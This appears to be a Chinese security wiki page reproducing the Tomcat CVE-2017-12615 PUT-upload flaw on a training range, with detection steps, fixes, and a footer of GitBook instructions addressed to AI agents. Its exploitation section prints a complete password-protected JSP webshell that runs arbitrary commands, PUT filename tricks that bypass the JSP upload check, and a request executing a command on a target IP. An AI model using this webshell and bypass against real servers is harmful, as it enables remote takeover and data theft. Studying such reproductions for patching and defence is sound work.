# 2.5.1 CVE-2017-12615

## 漏洞名称

Tomcat远程代码执行漏洞（CVE-2017-12615）

## 漏洞等级

高危

## 漏洞描述

漏洞简述： 当tomcat启用了HTTP PUT请求方法（例如，将 readonly 初始化参数由默认值设置为 false），攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件，JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。

## 漏洞影响

Apache Tomcat 7.0.0-Apache Tomcat 7.0.81

## 漏洞复现

### 漏洞执行条件：

* Tomcat运行在Windows主机
* 开启了HTTP PUT请求（配置readonly为false）

### 漏洞复现：

我这里使用的是墨者学院提供的靶机环境：

<https://www.mozhe.cn/bug/detail/WFVzRjBLZjFObGE4YjFwaGhXLzVldz09bW96aGUmozhe>

### 发现漏洞：

刷新页面，burp抓包，修改请求方式为OPTIONS，即可查看当前服务器所支持的所有的HTTP请求方法

但是由于我刚开始输入的是option方式，发现报错信息中存在Tomcat版本信息为Tomcat7.0.79，那么这个就可能存在Tomcat7版本的远程命令执行漏洞

![](http://ww1.sinaimg.cn/large/0078beR7ly1g0r6jhhfuoj30zc0fdq58.jpg)

换成正确的OPTIONS方法发现可以使用PUT参数

![](http://ww1.sinaimg.cn/large/0078beR7ly1g0r6kznnvej30xc0d875k.jpg)

### 漏洞利用：

那么就尝试一番Apache Tomcat远程命令执行漏洞(CVE-2017-12615)

修改请求方式为PUT请求，在PUT请求包内添加JSP远程木马，木马名：cmd 密码：123

状态码201表示文件已创建

![](http://ww1.sinaimg.cn/large/0078beR7ly1g0r71wfrwcj30ps0j53zy.jpg)

分享一下JSP木马：

```
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%>

<%!public static String excuteCmd(String c) {

StringBuilder line = new StringBuilder();

try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));

String temp = null;while ((temp = buf.readLine()) != null) {

line.append(temp+"\n");}buf.close();} catch (Exception e) {

line.append(e.getMessage());}return line.toString();}%><%if("123".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){

out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>
```

注：PUT请求的文件名可以为：

```
PUT  /shell.jsp%20  HTTP/1.1
PUT  /shell.jsp/    HTTP/1.1
PUT  /shell.jsp:DATA  HTTP/1.1
```

### 获取shell：

然后我们使用浏览器去连接木马：

```
http://219.153.49.228:42986/shell.jsp?cmd=ls /&pwd=123
```

![](http://ww1.sinaimg.cn/large/0078beR7ly1g0r77155u7j30rf0gmt8r.jpg)

## 漏洞修复

* 使用tomcat8及以上版本
* 在web.xml文件中将readonly参数删掉，或者将readonly参数设置为true


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ninjia.gitbook.io/secskill/serve/tomcat/cve-2017-12615.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
